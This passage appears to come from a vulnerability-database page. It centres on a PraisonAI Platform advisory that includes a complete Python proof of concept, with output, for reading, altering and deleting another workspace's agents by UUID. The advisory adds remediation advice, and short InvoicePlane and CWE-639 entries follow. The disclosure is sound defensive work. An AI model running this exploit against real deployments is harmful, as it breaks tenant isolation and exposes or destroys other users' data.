PRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py

Full PoC:

#!/usr/bin/env python3
from __future__ import annotations

import asyncio
import os
import sys
import types
import uuid
from pathlib import Path

from httpx import ASGITransport, AsyncClient
from sqlalchemy.ext.asyncio import create_async_engine


REPO_ROOT = Path(os.environ.get("PRAISONAI_REPO", "/path/to/PraisonAI")).resolve()
PLATFORM_ROOT = REPO_ROOT / "src" / "praisonai-platform"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"


def verify_source() -> None:
    expected = {
        PLATFORM_ROOT / "praisonai_platform/api/deps.py": [
            'min_role: str = "member"',
            "member_svc.has_role(workspace_id, user.id, min_role)",
        ],
        PLATFORM_ROOT / "praisonai_platform/api/routes/agents.py": [
            '@router.get("/{agent_id}", response_model=AgentResponse)',
            "agent = await svc.get(agent_id)",
            '@router.patch("/{agent_id}", response_model=AgentResponse)',
            "agent = await svc.update(",
            '@router.delete("/{agent_id}", status_code=status.HTTP_204_NO_CONTENT)',
            "deleted = await svc.delete(agent_id)",
        ],
        PLATFORM_ROOT / "praisonai_platform/services/agent_service.py": [
            "return await self._session.get(Agent, agent_id)",
            "agent = await self.get(agent_id)",
            "await self._session.delete(agent)",
        ],
    }

    for path, needles in expected.items():
        if not path.exists():
            raise RuntimeError(f"source verification failed: file not found: {path}")

        text = path.read_text(encoding="utf-8")
        for needle in needles:
            if needle not in text:
                raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")


async def main() -> int:
    verify_source()

    sys.path.insert(0, str(PLATFORM_ROOT))
    sys.path.insert(0, str(AGENTS_ROOT))

    if "passlib" not in sys.modules:
        passlib_pkg = types.ModuleType("passlib")
        passlib_pkg.__path__ = []
        sys.modules["passlib"] = passlib_pkg

    if "passlib.context" not in sys.modules:
        passlib_context = types.ModuleType("passlib.context")

        class _CryptContext:
            def __init__(self, *args, **kwargs):
                pass

            def hash(self, password: str) -> str:
                return f"stub::{password}"

            def verify(self, password: str, hashed: str) -> bool:
                return hashed == f"stub::{password}"

        passlib_context.CryptContext = _CryptContext
        sys.modules["passlib.context"] = passlib_context

    os.environ["PLATFORM_JWT_SECRET"] = "test-secret-for-testing-only"

    from praisonai_platform.api.app import create_app
    from praisonai_platform.db.base import Base, reset_engine
    from praisonai_platform.db import base as base_mod

    await reset_engine()

    engine = create_async_engine(
        "sqlite+aiosqlite:///:memory:",
        echo=False,
        connect_args={"check_same_thread": False},
    )

    base_mod._engine = engine
    base_mod._session_factory = None

    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.create_all)

    app = create_app()

    suffix = uuid.uuid4().hex[:8]
    password = "Password123!"

    transport = ASGITransport(app=app)

    async with AsyncClient(transport=transport, base_url="http://test") as client:
        attacker = await client.post(
            "/api/v1/auth/register",
            json={
                "email": f"attacker_{suffix}@example.com",
                "password": password,
                "name": f"attacker_{suffix}",
            },
        )

        victim = await client.post(
            "/api/v1/auth/register",
            json={
                "email": f"victim_{suffix}@example.com",
                "password": password,
                "name": f"victim_{suffix}",
            },
        )

        attacker_json = attacker.json()
        victim_json = victim.json()

        attacker_headers = {"Authorization": f"Bearer {attacker_json['token']}"}
        victim_headers = {"Authorization": f"Bearer {victim_json['token']}"}

        attacker_ws = await client.post(
            "/api/v1/workspaces/",
            json={
                "name": f"attacker-ws-{suffix}",
                "slug": f"attacker-ws-{suffix}",
                "description": "attacker workspace",
            },
            headers=attacker_headers,
        )

        victim_ws = await client.post(
            "/api/v1/workspaces/",
            json={
                "name": f"victim-ws-{suffix}",
                "slug": f"victim-ws-{suffix}",
                "description": "victim workspace",
            },
            headers=victim_headers,
        )

        attacker_workspace_id = attacker_ws.json()["id"]
        victim_workspace_id = victim_ws.json()["id"]

        victim_agent = await client.post(
            f"/api/v1/workspaces/{victim_workspace_id}/agents/",
            json={
                "name": "victim-agent",
                "runtime_mode": "local",
                "instructions": "secret instructions",
            },
            headers=victim_headers,
        )

        victim_agent_id = victim_agent.json()["id"]

        attacker_read = await client.get(
            f"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}",
            headers=attacker_headers,
        )

        attacker_update = await client.patch(
            f"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}",
            json={"instructions": "pwned-by-attacker"},
            headers=attacker_headers,
        )

        victim_read_after_update = await client.get(
            f"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}",
            headers=victim_headers,
        )

        attacker_delete = await client.delete(
            f"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}",
            headers=attacker_headers,
        )

        victim_read_after_delete = await client.get(
            f"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}",
            headers=victim_headers,
        )

        print(f"[poc] attacker_workspace={attacker_workspace_id}")
        print(f"[poc] victim_workspace={victim_workspace_id}")
        print(f"[poc] victim_agent_id={victim_agent_id}")
        print(
            "[poc] attacker_read_status="
            f"{attacker_read.status_code} "
            f"workspace_id={attacker_read.json().get('workspace_id')} "
            f"instructions={attacker_read.json().get('instructions')}"
        )
        print(
            "[poc] attacker_update_status="
            f"{attacker_update.status_code} "
            f"instructions={attacker_update.json().get('instructions')}"
        )
        print(
            "[poc] victim_read_after_update_status="
            f"{victim_read_after_update.status_code} "
            f"instructions={victim_read_after_update.json().get('instructions')}"
        )
        print(f"[poc] attacker_delete_status={attacker_delete.status_code}")
        print(f"[poc] victim_read_after_delete_status={victim_read_after_delete.status_code}")

        if attacker_read.status_code != 200:
            raise SystemExit("[poc] MISS: attacker could not read victim agent")

        if attacker_read.json().get("workspace_id") != victim_workspace_id:
            raise SystemExit("[poc] MISS: read response was not the victim workspace agent")

        if attacker_update.status_code != 200 or attacker_update.json().get("instructions") != "pwned-by-attacker":
            raise SystemExit("[poc] MISS: attacker could not update victim agent")

        if victim_read_after_update.status_code != 200 or victim_read_after_update.json().get("instructions") != "pwned-by-attacker":
            raise SystemExit("[poc] MISS: victim did not observe attacker-controlled update")

        if attacker_delete.status_code != 204:
            raise SystemExit("[poc] MISS: attacker could not delete victim agent")

        if victim_read_after_delete.status_code != 404:
            raise SystemExit("[poc] MISS: victim agent still existed after attacker delete")

        print("[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent")

    await engine.dispose()
    base_mod._engine = None
    base_mod._session_factory = None

    return 0


if __name__ == "__main__":
    raise SystemExit(asyncio.run(main()))

Observed result:

[poc] attacker_workspace=3f7c...
[poc] victim_workspace=be1d...
[poc] victim_agent_id=7f04...
[poc] attacker_read_status=200 workspace_id=be1d... instructions=secret instructions
[poc] attacker_update_status=200 instructions=pwned-by-attacker
[poc] victim_read_after_update_status=200 instructions=pwned-by-attacker
[poc] attacker_delete_status=204
[poc] victim_read_after_delete_status=404
[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent

This confirms that an authenticated user from one workspace can read, modify, and delete an object belonging to another workspace by using the victim object's UUID through the attacker's own workspace-scoped route.

Impact

Any authenticated workspace member who knows or obtains object UUIDs from another workspace may be able to:

  • read other workspaces' agents;
  • read agent instructions and metadata;
  • modify victim agents;
  • delete victim agents;
  • potentially read, modify, or delete projects and issues that follow the same object lookup pattern;
  • enumerate comments for issues by raw issue_id;
  • corrupt activity data, project state, and issue state across workspace boundaries.

This breaks the platform's tenant-isolation boundary. The impact is especially serious in multi-tenant deployments where separate users or teams rely on workspaces as an authorization boundary.

The demonstrated PoC confirms read, update, and delete access against agents. The same root-cause pattern appears in other workspace-scoped object routes and should be audited across the platform.

Suggested remediation

Recommended fixes:

  1. Require every object fetch, update, and delete method to take both workspace_id and object_id.

  2. Enforce object ownership in the service layer. For example:

agent = await self._session.get(Agent, agent_id)
if not agent or agent.workspace_id != workspace_id:
    return None

  1. Avoid service methods that resolve workspace-owned objects by global UUID alone.

  2. Apply the same object-level ownership checks to agents, projects, issues, comments, dependencies, and any other workspace-owned resources.

  3. For comment and dependency helpers that pivot from raw issue_id, validate that the parent issue belongs to the authorized workspace before returning or modifying child records.

  4. Add regression tests for negative cross-workspace access cases, including:

workspace A member cannot read workspace B object
workspace A member cannot update workspace B object
workspace A member cannot delete workspace B object
workspace A member cannot list comments for workspace B issue
  1. Return 404 Not Found or 403 Forbidden consistently when an object does not belong to the authorized workspace.

Security boundary

This report concerns a workspace tenant-isolation failure. The caller is authenticated, but authentication alone is insufficient. The server must also verify that the requested object belongs to the workspace for which the caller has authorization.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47399"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:35:13Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nPraisonAI Platform\u0027s workspace-scoped REST routes contain a systemic object-level authorization flaw that allows an authenticated user from one workspace to access, modify, and delete objects belonging to another workspace by supplying the victim object\u0027s global UUID.\n\nThe affected pattern appears in workspace-scoped routes such as agents, projects, issues, and comments. The route layer verifies that the caller is a member of the `workspace_id` provided in the URL, but the service layer later resolves the target object by global object ID only. It does not verify that the resolved object actually belongs to the workspace in the URL.\n\nAs a result, a valid member of `workspace_attacker` can call a route under:\n\n```text\n/api/v1/workspaces/{workspace_attacker}/...\n```\n\nwhile supplying an object UUID from `workspace_victim`. The server authorizes the request based on membership in `workspace_attacker`, then fetches or mutates the victim object by global UUID.\n\nThis breaks the platform\u0027s workspace isolation boundary.\n\n### Details\n\nThe root cause is that workspace membership authorization and object ownership validation are not bound together.\n\nThe workspace dependency validates only that the caller is a member of the workspace named in the URL:\n\n```python\n# praisonai_platform/api/deps.py\nasync def require_workspace_member(\n    workspace_id: str,\n    user: AuthIdentity = Depends(get_current_user),\n    session: AsyncSession = Depends(get_db),\n    min_role: str = \"member\",\n) -\u003e AuthIdentity:\n    member_svc = MemberService(session)\n    has = await member_svc.has_role(workspace_id, user.id, min_role)\n```\n\nThis confirms that the caller has access to the URL workspace. However, it does not prove that the target object belongs to that workspace.\n\nFor example, the agent routes are scoped under a workspace path, but object access is performed using only the raw `agent_id`:\n\n```python\n# praisonai_platform/api/routes/agents.py\n@router.get(\"/{agent_id}\", response_model=AgentResponse)\nasync def get_agent(workspace_id: str, agent_id: str, ...):\n    agent = await svc.get(agent_id)\n    return AgentResponse.model_validate(agent)\n```\n\nThe service method resolves the agent by global UUID only:\n\n```python\n# praisonai_platform/services/agent_service.py\nasync def get(self, agent_id: str) -\u003e Optional[Agent]:\n    return await self._session.get(Agent, agent_id)\n```\n\nThe same pattern is used for update and delete operations:\n\n```python\n# praisonai_platform/api/routes/agents.py\nagent = await svc.update(agent_id, ...)\n\ndeleted = await svc.delete(agent_id)\n```\n\n```python\n# praisonai_platform/services/agent_service.py\nagent = await self.get(agent_id)\n...\nawait self._session.delete(agent)\n```\n\nThere is no check equivalent to:\n\n```python\nagent.workspace_id == workspace_id\n```\n\nTherefore, if an attacker is a valid member of any workspace, they can pass their own workspace ID in the URL while supplying an object ID from another workspace.\n\nThe same architectural pattern appears in other workspace-scoped object routes, including projects, issues, and comments:\n\n```python\n# praisonai_platform/api/routes/projects.py\nproject = await svc.get(project_id)\nproject = await svc.update(project_id, ...)\ndeleted = await svc.delete(project_id)\n```\n\n```python\n# praisonai_platform/services/project_service.py\nreturn await self._session.get(Project, project_id)\n```\n\n```python\n# praisonai_platform/api/routes/issues.py\nissue = await svc.get(issue_id)\nissue = await svc.update(issue_id, ...)\ndeleted = await svc.delete(issue_id)\ncomments = await svc.list_for_issue(issue_id)\n```\n\n```python\n# praisonai_platform/services/issue_service.py\nreturn await self._session.get(Issue, issue_id)\n```\n\n```python\n# praisonai_platform/services/comment_service.py\nselect(Comment).where(Comment.issue_id == issue_id)\n```\n\nThis indicates a systemic object-level access control issue: routes are workspace-scoped, but service-layer object lookups are not workspace-bound.\n\n### PoC\n\nThe following local PoC creates a real PraisonAI Platform FastAPI app backed by an in-memory SQLite database, then uses only HTTP requests against the real API routes.\n\nThe PoC demonstrates the following chain:\n\n1. An attacker account creates `workspace_attacker`.\n2. A victim account creates `workspace_victim`.\n3. The victim creates an agent in `workspace_victim`.\n4. The attacker sends:\n\n```text\nGET /api/v1/workspaces/{workspace_attacker}/agents/{victim_agent_id}\n```\n\n5. The server returns the victim agent from `workspace_victim`.\n6. The attacker updates the victim agent through the attacker workspace path.\n7. The victim observes the attacker-controlled modification.\n8. The attacker deletes the victim agent through the attacker workspace path.\n\nRun with:\n\n```bash\nPRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py\n```\n\nFull PoC:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport asyncio\nimport os\nimport sys\nimport types\nimport uuid\nfrom pathlib import Path\n\nfrom httpx import ASGITransport, AsyncClient\nfrom sqlalchemy.ext.asyncio import create_async_engine\n\n\nREPO_ROOT = Path(os.environ.get(\"PRAISONAI_REPO\", \"/path/to/PraisonAI\")).resolve()\nPLATFORM_ROOT = REPO_ROOT / \"src\" / \"praisonai-platform\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\n\n\ndef verify_source() -\u003e None:\n    expected = {\n        PLATFORM_ROOT / \"praisonai_platform/api/deps.py\": [\n            \u0027min_role: str = \"member\"\u0027,\n            \"member_svc.has_role(workspace_id, user.id, min_role)\",\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/api/routes/agents.py\": [\n            \u0027@router.get(\"/{agent_id}\", response_model=AgentResponse)\u0027,\n            \"agent = await svc.get(agent_id)\",\n            \u0027@router.patch(\"/{agent_id}\", response_model=AgentResponse)\u0027,\n            \"agent = await svc.update(\",\n            \u0027@router.delete(\"/{agent_id}\", status_code=status.HTTP_204_NO_CONTENT)\u0027,\n            \"deleted = await svc.delete(agent_id)\",\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/services/agent_service.py\": [\n            \"return await self._session.get(Agent, agent_id)\",\n            \"agent = await self.get(agent_id)\",\n            \"await self._session.delete(agent)\",\n        ],\n    }\n\n    for path, needles in expected.items():\n        if not path.exists():\n            raise RuntimeError(f\"source verification failed: file not found: {path}\")\n\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nasync def main() -\u003e int:\n    verify_source()\n\n    sys.path.insert(0, str(PLATFORM_ROOT))\n    sys.path.insert(0, str(AGENTS_ROOT))\n\n    if \"passlib\" not in sys.modules:\n        passlib_pkg = types.ModuleType(\"passlib\")\n        passlib_pkg.__path__ = []\n        sys.modules[\"passlib\"] = passlib_pkg\n\n    if \"passlib.context\" not in sys.modules:\n        passlib_context = types.ModuleType(\"passlib.context\")\n\n        class _CryptContext:\n            def __init__(self, *args, **kwargs):\n                pass\n\n            def hash(self, password: str) -\u003e str:\n                return f\"stub::{password}\"\n\n            def verify(self, password: str, hashed: str) -\u003e bool:\n                return hashed == f\"stub::{password}\"\n\n        passlib_context.CryptContext = _CryptContext\n        sys.modules[\"passlib.context\"] = passlib_context\n\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"test-secret-for-testing-only\"\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db.base import Base, reset_engine\n    from praisonai_platform.db import base as base_mod\n\n    await reset_engine()\n\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n\n    base_mod._engine = engine\n    base_mod._session_factory = None\n\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n\n    suffix = uuid.uuid4().hex[:8]\n    password = \"Password123!\"\n\n    transport = ASGITransport(app=app)\n\n    async with AsyncClient(transport=transport, base_url=\"http://test\") as client:\n        attacker = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"attacker_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"attacker_{suffix}\",\n            },\n        )\n\n        victim = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"victim_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"victim_{suffix}\",\n            },\n        )\n\n        attacker_json = attacker.json()\n        victim_json = victim.json()\n\n        attacker_headers = {\"Authorization\": f\"Bearer {attacker_json[\u0027token\u0027]}\"}\n        victim_headers = {\"Authorization\": f\"Bearer {victim_json[\u0027token\u0027]}\"}\n\n        attacker_ws = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\n                \"name\": f\"attacker-ws-{suffix}\",\n                \"slug\": f\"attacker-ws-{suffix}\",\n                \"description\": \"attacker workspace\",\n            },\n            headers=attacker_headers,\n        )\n\n        victim_ws = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\n                \"name\": f\"victim-ws-{suffix}\",\n                \"slug\": f\"victim-ws-{suffix}\",\n                \"description\": \"victim workspace\",\n            },\n            headers=victim_headers,\n        )\n\n        attacker_workspace_id = attacker_ws.json()[\"id\"]\n        victim_workspace_id = victim_ws.json()[\"id\"]\n\n        victim_agent = await client.post(\n            f\"/api/v1/workspaces/{victim_workspace_id}/agents/\",\n            json={\n                \"name\": \"victim-agent\",\n                \"runtime_mode\": \"local\",\n                \"instructions\": \"secret instructions\",\n            },\n            headers=victim_headers,\n        )\n\n        victim_agent_id = victim_agent.json()[\"id\"]\n\n        attacker_read = await client.get(\n            f\"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}\",\n            headers=attacker_headers,\n        )\n\n        attacker_update = await client.patch(\n            f\"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}\",\n            json={\"instructions\": \"pwned-by-attacker\"},\n            headers=attacker_headers,\n        )\n\n        victim_read_after_update = await client.get(\n            f\"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}\",\n            headers=victim_headers,\n        )\n\n        attacker_delete = await client.delete(\n            f\"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}\",\n            headers=attacker_headers,\n        )\n\n        victim_read_after_delete = await client.get(\n            f\"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}\",\n            headers=victim_headers,\n        )\n\n        print(f\"[poc] attacker_workspace={attacker_workspace_id}\")\n        print(f\"[poc] victim_workspace={victim_workspace_id}\")\n        print(f\"[poc] victim_agent_id={victim_agent_id}\")\n        print(\n            \"[poc] attacker_read_status=\"\n            f\"{attacker_read.status_code} \"\n            f\"workspace_id={attacker_read.json().get(\u0027workspace_id\u0027)} \"\n            f\"instructions={attacker_read.json().get(\u0027instructions\u0027)}\"\n        )\n        print(\n            \"[poc] attacker_update_status=\"\n            f\"{attacker_update.status_code} \"\n            f\"instructions={attacker_update.json().get(\u0027instructions\u0027)}\"\n        )\n        print(\n            \"[poc] victim_read_after_update_status=\"\n            f\"{victim_read_after_update.status_code} \"\n            f\"instructions={victim_read_after_update.json().get(\u0027instructions\u0027)}\"\n        )\n        print(f\"[poc] attacker_delete_status={attacker_delete.status_code}\")\n        print(f\"[poc] victim_read_after_delete_status={victim_read_after_delete.status_code}\")\n\n        if attacker_read.status_code != 200:\n            raise SystemExit(\"[poc] MISS: attacker could not read victim agent\")\n\n        if attacker_read.json().get(\"workspace_id\") != victim_workspace_id:\n            raise SystemExit(\"[poc] MISS: read response was not the victim workspace agent\")\n\n        if attacker_update.status_code != 200 or attacker_update.json().get(\"instructions\") != \"pwned-by-attacker\":\n            raise SystemExit(\"[poc] MISS: attacker could not update victim agent\")\n\n        if victim_read_after_update.status_code != 200 or victim_read_after_update.json().get(\"instructions\") != \"pwned-by-attacker\":\n            raise SystemExit(\"[poc] MISS: victim did not observe attacker-controlled update\")\n\n        if attacker_delete.status_code != 204:\n            raise SystemExit(\"[poc] MISS: attacker could not delete victim agent\")\n\n        if victim_read_after_delete.status_code != 404:\n            raise SystemExit(\"[poc] MISS: victim agent still existed after attacker delete\")\n\n        print(\"[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent\")\n\n    await engine.dispose()\n    base_mod._engine = None\n    base_mod._session_factory = None\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(asyncio.run(main()))\n```\n\nObserved result:\n\n```text\n[poc] attacker_workspace=3f7c...\n[poc] victim_workspace=be1d...\n[poc] victim_agent_id=7f04...\n[poc] attacker_read_status=200 workspace_id=be1d... instructions=secret instructions\n[poc] attacker_update_status=200 instructions=pwned-by-attacker\n[poc] victim_read_after_update_status=200 instructions=pwned-by-attacker\n[poc] attacker_delete_status=204\n[poc] victim_read_after_delete_status=404\n[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent\n```\n\nThis confirms that an authenticated user from one workspace can read, modify, and delete an object belonging to another workspace by using the victim object\u0027s UUID through the attacker\u0027s own workspace-scoped route.\n\n### Impact\n\nAny authenticated workspace member who knows or obtains object UUIDs from another workspace may be able to:\n\n- read other workspaces\u0027 agents;\n- read agent instructions and metadata;\n- modify victim agents;\n- delete victim agents;\n- potentially read, modify, or delete projects and issues that follow the same object lookup pattern;\n- enumerate comments for issues by raw `issue_id`;\n- corrupt activity data, project state, and issue state across workspace boundaries.\n\nThis breaks the platform\u0027s tenant-isolation boundary. The impact is especially serious in multi-tenant deployments where separate users or teams rely on workspaces as an authorization boundary.\n\nThe demonstrated PoC confirms read, update, and delete access against agents. The same root-cause pattern appears in other workspace-scoped object routes and should be audited across the platform.\n\n### Suggested remediation\n\nRecommended fixes:\n\n1. Require every object fetch, update, and delete method to take both `workspace_id` and `object_id`.\n\n2. Enforce object ownership in the service layer. For example:\n\n```python\nagent = await self._session.get(Agent, agent_id)\nif not agent or agent.workspace_id != workspace_id:\n    return None\n```\n\n3. Avoid service methods that resolve workspace-owned objects by global UUID alone.\n\n4. Apply the same object-level ownership checks to agents, projects, issues, comments, dependencies, and any other workspace-owned resources.\n\n5. For comment and dependency helpers that pivot from raw `issue_id`, validate that the parent issue belongs to the authorized workspace before returning or modifying child records.\n\n6. Add regression tests for negative cross-workspace access cases, including:\n\n```text\nworkspace A member cannot read workspace B object\nworkspace A member cannot update workspace B object\nworkspace A member cannot delete workspace B object\nworkspace A member cannot list comments for workspace B issue\n```\n\n7. Return `404 Not Found` or `403 Forbidden` consistently when an object does not belong to the authorized workspace.\n\n### Security boundary\n\nThis report concerns a workspace tenant-isolation failure. The caller is authenticated, but authentication alone is insufficient. The server must also verify that the requested object belongs to the workspace for which the caller has authorization.",
  "id": "GHSA-6h6v-6m7w-7vxx",
  "modified": "2026-05-29T22:35:13Z",
  "published": "2026-05-29T22:35:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Platform workspace-scoped routes allow cross-workspace object access by global object ID"
}

GHSA-6H7W-VJM9-6785

Vulnerability from github – Published: 2025-12-16 18:31 – Updated: 2025-12-16 21:30
VLAI
Details

InvoicePlane commit debb446c is vulnerable to Incorrect Access Control. The invoices/view handler fails to verify ownership before returning invoice data.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-64012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-16T16:15:59Z",
    "severity": "MODERATE"
  },
  "details": "InvoicePlane commit debb446c is vulnerable to Incorrect Access Control. The invoices/view handler fails to verify ownership before returning invoice data.",
  "id": "GHSA-6h7w-vjm9-6785",
  "modified": "2025-12-16T21:30:54Z",
  "published": "2025-12-16T18:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64012"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InvoicePlane/InvoicePlane/commit/debb446ceaa84efc136987fc1e21b268f34e47b0"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/tarekramm/797073e9ae991211ff2ae71ed1190c7d"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list